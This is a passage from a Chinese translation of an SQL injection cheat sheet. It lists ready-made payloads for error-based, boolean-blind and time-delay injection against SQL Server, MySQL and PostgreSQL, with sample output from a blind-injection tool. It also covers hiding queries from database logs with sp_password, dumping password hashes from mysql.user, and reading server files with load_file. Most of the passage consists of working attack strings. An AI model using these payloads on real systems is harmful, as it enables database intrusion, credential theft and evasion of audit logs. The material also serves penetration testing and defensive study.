<h4 id="toc_47">获取字段名</h4>
<p><code>SELECT name FROM syscolumns WHERE id =(SELECT id FROM sysobjects WHERE name = 'tablenameforcolumnnames')</code></p>
<h3 id="toc_48">移动记录(Moving records)(S)</h3>
<ul>
<li><p>修改WHERE,使用<strong>NOT IN</strong>或者<strong>NOT EXIST</strong><br/>
<code>... WHERE users NOT IN ('First User', 'Second User')</code><br/>
<code>SELECT TOP 1 name FROM members WHERE NOT EXIST(SELECT TOP 0 name FROM members)</code> – 这个好用</p></li>
<li><p>脏的不行的小技巧</p>
<p><code>SELECT * FROM Product WHERE ID=2 AND 1=CAST((Select p.name from (SELECT (SELECT COUNT(i.id) AS rid FROM sysobjects i WHERE i.id<=o.id) AS x, name from sysobjects o) as p where p.x=3) as int</code></p>
<p><code>Select p.name from (SELECT (SELECT COUNT(i.id) AS rid FROM sysobjects i WHERE xtype='U' and i.id<=o.id) AS x, name from sysobjects o WHERE o.xtype = 'U') as p where p.x=21</code></p></li>
</ul>
<h3 id="toc_49">快速的脱掉基于错误(Error Based)的SQL Server注入(S)</h3>
<p><code>';BEGIN DECLARE @rt varchar(8000) SET @rd=':' SELECT @rd=@rd+' '+name FROM syscolumns WHERE id =(SELECT id FROM sysobjects WHERE name = 'MEMBERS') AND name>@rd SELECT @rd AS rd into TMP_SYS_TMP end;--</code></p>
<p><strong>详情请参考:<a href="http://ferruh.mavituna.com/makale/fast-way-to-extract-data-from-error-based-sql-injections/">Fast way to extract data from Error Based SQL Injections</a></strong></p>
<h3 id="toc_50">盲注</h3>
<h4 id="toc_51">关于盲注</h4>
<p>一个经过完整而优秀开发的应用一般来说你是<strong>看不到错误提示的</strong>,所以你是没办法从Union攻击和错误中提取出数据的</p>
<p><strong>一般盲注</strong>,你不能在页面中看到响应,但是你依然能同个HTTP状态码得知查询的结果</p>
<p><strong>完全盲注</strong>,你无论怎么输入都完全看不到任何变化。你只能通过日志或者其它什么的来注入。虽然不怎么常见。</p>
<p>在一般盲注下你能够使用<strong>If语句</strong>或者<strong>WHERE查询注入</strong><em>(一般来说比较简单)</em>,在完全盲注下你需要使用一些延时函数并分析响应时间。为此在SQL Server中你需要使用<strong>WAIT FOR DELAY ‘0:0:10’</strong>,在MySQL中使用<strong>BENCHMARK()</strong>,在PostgreSQL中使用<strong>pg_sleep(10)</strong>,以及在ORACLE中的一些<strong>PL/SQL小技巧</strong>。</p>
<h4 id="toc_52">实战中的盲注实例</h4>
<p>以下的输出来自一个真实的私人盲注工具在测试一个SQL Server后端应用并且遍历表名这些请求完成了第一个表的第一个字符。由于是自动化攻击,SQL查询比实际需求稍微复杂一点。其中我们使用了二分搜索来探测字符的ASCII码。</p>
<p><strong>TRUE</strong>和<strong>FALSE</strong>标志代表了查询返回了true或false</p>
<pre><code>TRUE : SELECT ID, Username, Email FROM [User]WHERE ID = 1 AND ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 0 name FROM sysObjects WHERE xtYpe=0x55)),1,1)),0)>78--
FALSE : SELECT ID, Username, Email FROM [User]WHERE ID = 1 AND ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 0 name FROM sysObjects WHERE xtYpe=0x55)),1,1)),0)>103--
TRUE : SELECT ID, Username, Email FROM [User]WHERE ID = 1 AND ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 0 name FROM sysObjects WHERE xtYpe=0x55)),1,1)),0)
FALSE : SELECT ID, Username, Email FROM [User]WHERE ID = 1 AND ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 0 name FROM sysObjects WHERE xtYpe=0x55)),1,1)),0)>89--
TRUE : SELECT ID, Username, Email FROM [User]WHERE ID = 1 AND ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 0 name FROM sysObjects WHERE xtYpe=0x55)),1,1)),0)
FALSE : SELECT ID, Username, Email FROM [User]WHERE ID = 1 AND ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 0 name FROM sysObjects WHERE xtYpe=0x55)),1,1)),0)>83--
TRUE : SELECT ID, Username, Email FROM [User]WHERE ID = 1 AND ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 0 name FROM sysObjects WHERE xtYpe=0x55)),1,1)),0)
FALSE : SELECT ID, Username, Email FROM [User]WHERE ID = 1 AND ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 0 name FROM sysObjects WHERE xtYpe=0x55)),1,1)),0)>80--
FALSE : SELECT ID, Username, Email FROM [User]WHERE ID = 1 AND ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 0 name FROM sysObjects WHERE xtYpe=0x55)),1,1)),0)
</code></pre>
<p>由于上面<strong>后两个查询都是false</strong>,我们能清楚的知道表名的第一个<strong>字符的ASCII码是80,也就是"P”</strong>。这就是我们通过二分算法来进行盲注的方法。其他已知的方法是一位一位(bit by bit)地读取数据。这些方法在不同条件下都很有效。</p>
<h3 id="toc_53">延时盲注</h3>
<p>首先,只在完全没有提示(really blind)的情况下使用,否则请使用1/0方式通过错误来判断差异。其次,在使用20秒以上的延时时要小心,因为应用与数据库的连接API可能会判定为超时(timeout)。</p>
<h4 id="toc_54"><code>WAITFOR DELAY [time]</code>(S)</h4>
<p>这就跟<code>sleep</code>差不多,等待特定的时间。通过CPU来让数据库进行等待。</p>
<p><code>WAITFOR DELAY '0:0:10'--</code></p>
<p>你也可以这样用</p>
<p><code>WAITFOR DELAY '0:0:0.51'</code></p>
<h4 id="toc_55">实例</h4>
<ul>
<li>俺是sa吗?
<code>if (select user) = 'sa' waitfor delay '0:0:10'</code></li>
<li>ProductID =<code>1;waitfor delay '0:0:10'--</code></li>
<li>ProductID =<code>1);waitfor delay '0:0:10'--</code></li>
<li>ProductID =<code>1';waitfor delay '0:0:10'--</code></li>
<li>ProductID =<code>1');waitfor delay '0:0:10'--</code></li>
<li>ProductID =<code>1));waitfor delay '0:0:10'--</code></li>
<li>ProductID =<code>1'));waitfor delay '0:0:10'--</code></li>
</ul>
<h4 id="toc_56"><code>BENCHMARK()</code>(M)</h4>
<p>一般来说都不太喜欢用这个来做MySQL延时。小心点用因为这会极快地消耗服务器资源。<br/>
<code>BENCHMARK(howmanytimes, do this)</code></p>
<h4 id="toc_57">实例</h4>
<ul>
<li><p>俺是root吗?爽!<br/>
<code>IF EXISTS (SELECT * FROM users WHERE username = 'root') BENCHMARK(1000000000,MD5(1))</code></p></li>
<li><p>判断表是否存在<br/>
<code>IF (SELECT * FROM login) BENCHMARK(1000000,MD5(1))</code></p></li>
</ul>
<h4 id="toc_58"><code>pg_sleep(seconds)</code>(P)</h4>
<p>睡眠指定秒数。</p>
<ul>
<li><code>SELECT pg_sleep(10);</code>睡个十秒</li>
</ul>
<h3 id="toc_59">掩盖痕迹</h3>
<h4 id="toc_60"><code>-sp_password log bypass</code>(S)</h4>
<p>出于安全原因,SQL Server不会把含有这一选项的查询日志记录进日志中(!)。所以如果你在查询中添加了这一选项,你的查询就不会出现在数据库日志中,当然,服务器日志还是会有的,所以如果可以的话你可以尝试使用POST方法。</p>
<h3 id="toc_61">注入测试</h3>
<p>这些测试既简单又清晰,适用于盲注和悄悄地搞。</p>
<ol>
<li><p><code>product.asp?id=4 (SMO)</code></p>
<ol>
<li><code>product.asp?id=5-1</code></li>
<li><code>product.asp?id=4 OR 1=1</code></li>
</ol></li>
<li><p><code>product.asp?name=Book</code></p>
<ol>
<li><code>product.asp?name=Bo’%2b’ok</code></li>
<li><code>product.asp?name=Bo’ || ’ok (OM)</code></li>
<li><code>product.asp?name=Book’ OR ‘x’=’x</code></li>
</ol></li>
</ol>
<h3 id="toc_62">一些其他的MySQL笔记</h3>
<ul>
<li>子查询只能在MySQL4.1+使用</li>
<li>用户
<ul>
<li><code>SELECT User,Password FROM mysql.user;</code></li>
</ul></li>
<li><code>SELECT 1,1 UNION SELECT IF(SUBSTRING(Password,1,1)='2',BENCHMARK(100000,SHA1(1)),0) User,Password FROM mysql.user WHERE User = ‘root’;</code></li>
<li><code>SELECT ... INTO DUMPFILE</code>
<ul>
<li>把查询写入一个<strong>新文件</strong>中(不能修改已有文件)</li>
</ul></li>
<li>UDF功能
<ul>
<li><code>create function LockWorkStation returns integer soname 'user32';</code></li>
<li><code>select LockWorkStation();</code></li>
<li><code>create function ExitProcess returns integer soname 'kernel32';</code></li>
<li><code>select exitprocess();</code></li>
</ul></li>
<li><code>SELECT USER();</code></li>
<li><code>SELECT password,USER() FROM mysql.user;</code></li>
<li>admin密码哈希的第一位
<ul>
<li><code>SELECT SUBSTRING(user_password,1,1) FROM mb_users WHERE user_group = 1;</code></li>
</ul></li>
<li>文件读取
<ul>
<li><code>query.php?user=1+union+select+load_file(0x63...),1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1</code></li>
</ul></li>
<li><p>MySQL读取文件内容</p>
<ul>
<li><p><strong>默认这个功能是没开启的!</strong></p>
<pre><code>create table foo( line blob );
load data infile 'c:/boot.ini' into table foo;
select * from foo;
</code></pre></li>
</ul></li>
<li><p>MySQL里的各种延时</p></li>
<li><p><code>select benchmark( 500000, sha1( 'test' ) );<br/>
query.php?user=1+union+select+benchmark(500000,sha1 (0x414141)),1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1</code></p></li>
<li><p><code>select if( user() like 'root@%', benchmark(100000,sha1('test')), 'false' );</code></p></li>
<li><p><strong>遍历数据,暴力猜解</strong></p>
<ul>
<li><code>select if( (ascii(substring(user(),1,1)) >> 7) & 1,benchmark(100000,sha1('test')), 'false' );</code></li>
</ul></li>
</ul>
<h4 id="toc_63">MySQL中好用的函数</h4>
<ul>
<li><p><code>MD5()</code></p>
<p>MD5哈希</p></li>
<li><p><code>SHA1()</code> </p>
<p>SHA1哈希</p></li>
<li><p><code>PASSWORD()</code></p></li>
<li><p><code>ENCODE()</code></p></li>
<li><p><code>COMPRESS()</code> </p>
<p>压缩数据,在盲注时读取大量数据很好用</p></li>
<li><p><code>ROW_COUNT()</code></p></li>
<li><p><code>SCHEMA()</code></p></li>
<li><p><code>VERSION()</code></p>
<p>跟<code>@@version</code>是一样的</p></li>